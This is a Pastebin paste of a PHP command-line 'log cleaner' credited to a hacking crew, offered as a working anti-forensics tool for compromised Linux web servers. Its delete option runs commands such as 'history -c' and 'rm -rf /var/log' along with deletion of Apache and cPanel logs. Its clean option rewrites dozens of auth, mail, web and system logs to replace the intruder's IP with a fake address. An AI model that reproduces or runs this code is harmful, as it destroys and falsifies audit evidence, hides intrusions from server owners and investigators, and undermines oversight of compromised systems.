Advertisement
Guest User

PHP server log cleaner

a guest
Mar 9th, 2016
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.00 KB | None | 0 0
  1. Mirror: http://www.kittyga.ga/2016/03/phpserver-log-cleaner.html
  2. _________________________________________
  3. <?php
  4. /*
  5. #########################################
  6. #---------------------------------------#
  7. # Pr1v8 HK lOg cLeAnEr v.1 - 2011 #
  8. # Dev @ 2012-Apr-01 #
  9. #---------------------------------------#
  10. # Coded by : HaNniBaL KsA (HK) #
  11. # Email : hk@r00t-s3c.com #
  12. # Crew : r00t-s3cur1ty (rS) #
  13. #---------------------------------------#
  14. #########################################
  15.  
  16. Greet'z 2 :
  17. Al-k!nG - Dr.Selv3r - MR.DH - Dr.KroOoZ - Rab3oun - RiSkY - Or4nG.M4n
  18. HaCk4PuNiSh , Red-Virus , Mr.Hx , QaTaR-Attack - Abo Amira ...So on (:
  19.  
  20. S.Greet'z 2 : r00t-s3c.com , p0c.cc , sec4ever.com
  21. alm3refh.com (Alm3refh team & Alm3refh Student)
  22.  
  23. *NOTE!! :
  24. Use these scripts entirely at your own risk.
  25. The author cannot be held responsible for any damage, direct nor consequential,
  26. caused by the use of, or inability to use the techniques or scripts presented here.
  27.  
  28. " AND THIS FILE IS UNDER The GNU General Public License v3.0 "
  29. */
  30. error_reporting(0);
  31. set_time_limit(0);
  32. # plz don't remove this
  33. print "nn +-------------------------------------------+n";
  34. print " | Pr1v8 HK lOg cLeAnEr v.1 - 2011 |n";
  35. print " | Dev @ 2012-Apr-01 |n";
  36. print " +-------------------------------------------+n";
  37. print " | By: HaNniBaL KsA (HK) |n";
  38. print " +-------------------------------------------+nn";
  39. if($argc < 2){ # no option
  40. die("[#] Usage : php ".$argv[0]." [OPTIONS]n E.x : php ".$argv[0]." clean blah!nn[!] Try : "php ".$argv[0]." -h" for more options.nn"); # show how it'z works and exit
  41. } elseif ($argv[1] == "-h" or $argv[1] == "--help" or $argv[1] == "help"){ # check if enter the help command not the ip
  42. print "Usage: php ".$argv[0]." [OPTIONS]n
  43. Options:
  44. -c, --clean Replace your IP-Adress in log file'z with a Fake-IP-Adress.
  45. -d, --delete Delete the history & log file'z.
  46. -h, --help This shity message.
  47.  
  48. Option "-c" Usage : php ".$argv[0]." -c <IP> <FAKE-IP>
  49. E.x : php ".$argv[0]." -c 127.0.0.1 123.4.5.6nn";
  50. sleep(1); # just stop for a moment
  51. die(); # exit
  52. } elseif ($argv[1] == "-d" or $argv[1] == "--delete" or $argv[1] == "delete"){ # check if enter the help command not the ip
  53. $delete = array('history -c','rm .bash_history','rm -rf /tmp/logs','rm -rf $HISTFILE','rm -rf /root/.ksh_history','rm -rf /root/.bash_history','rm -rf /root/.ksh_history','rm -rf /root/.bash_logout','rm -rf /usr/local/apache/logs','rm -rf /usr/local/apache/log','rm -rf /var/apache/logs','rm -rf /var/apache/log','rm -rf /var/run/utmp','rm -rf /var/logs ','rm -rf /var/log','rm /etc/httpd/logs/*','rm /usr/local/cpanel/logs/*');
  54. print "nn[!] Deleting ..nn"; # tell the user it'z 'll be closed
  55. sleep(2); # just stop for a moment
  56. foreach ($delete as $del){
  57. $doit = system($del);
  58. if($doit == true){
  59. echo "n[!] DONE! with "$del":Dn"; # print the log that has been cleaned
  60. sleep(1); # just stop for a moment
  61. } else { # if isn't cleaned
  62. echo "n[!] ERROR! with "$del" xDn"; # print the log that has not been cleaned
  63. sleep(1); # just stop for a momment}
  64. }
  65. print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
  66. sleep(1); # just stop for a moment
  67. die(); # exit
  68. }
  69. } elseif ($argv[1] == "-c" or $argv[1] == "--clean" or $argv[1] == "clean") { # if enter clean option
  70. $ip = $argv[2]; # set the ip
  71. $fake = $argv[3]; # set the fake ip for replace the ip
  72. if($ip == false){ # check if enterd the ip
  73. print "nn[!] Plz enter your IP that you want us replace it for you.nn";
  74. sleep(1); # just stop for a moment
  75. die(); # exit
  76. } elseif ($fake == false){ # check if enterd the fake ip
  77. print "[!] Plz enter the Fake IP for replace it with your IP.nn";
  78. sleep(1); # just stop for a moment
  79. die(); # exit
  80. } else {
  81. # log'z you can edit and/or add
  82. $logs = array('/etc/httpd/logs/access_log','/etc/httpd/logs/access_log.1','/etc/httpd/logs/access_log.2','/etc/httpd/logs/access_log.3','/etc/httpd/logs/access_log.4','/etc/httpd/logs/error_log','/etc/httpd/logs/error_log.1','/etc/httpd/logs/error_log.2','/etc/httpd/logs/error_log.3','/etc/httpd/logs/error_log.4','/usr/local/apache/logs/error_log','/usr/local/apache/logs/suexec_log','/etc/httpd/logs/modsec_audit.log','/etc/httpd/logs/modsec_debug.log','/var/log/httpd/error_log','/var/log/apache2/error.log','/var/log/httpd-error.log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/var/log/auth.log','/var/log/kern.log','/var/log/cron.log','/var/log/boot.log','/var/log/mysqld.log','/var/log/secure','/var/log/utmp','/var/log/wtmp','/var/log/yum.log','/var/log/Xorg.0.log','/var/log/wvdialconf.log','/var/log/user.log','/var/log/pycentral.log','/var/log/mail.log','/var/log/apport.log','/var/log/auth.log','/var/bootstrap.log','/var/log/daemon.log','/var/log/dpkg.log','/var/log/fontconfig.log','/var/log/lpr.log','/var/log/chkservd.log','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/exim_rejectlog','/var/log/exim/rejectlog','/var/log/maillog','/var/log/messages','/usr/local/apache/domlogs/ftpxferlog','/var/log/xferlog','/var/log/nctfpd.errs','/var/log/httpsd/ssl.access_log','/var/log/ncftpd/misclog.txt','/var/log/nctfpd.errs');
  83. foreach($logs as $log){
  84. $file = file_get_contents($log); # read the log'z
  85. $file = str_replace($ip, $fake, $file); # replace your ip with the fake ip
  86. file_put_contents($log, $file); # save it
  87. if($file == true){ # if is cleaned
  88. echo "n[!] DONE! with : "$log" -> Cleaned ! :Dn"; # print the log that has been cleaned
  89. sleep(1); # just stop for a moment
  90. } else { # if isn't cleaned
  91. echo "n[!] ERROR! with : "$log" -> Not cleaned ! xDn"; # print the log that has not been cleaned
  92. sleep(1); # just stop for a moment
  93. }
  94. }
  95. print "nn[!] Killing it ...nn"; # tell the user it'z 'll be closed
  96. sleep(1); # just stop for a moment
  97. die(); # exit
  98. }
  99. }
  100. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement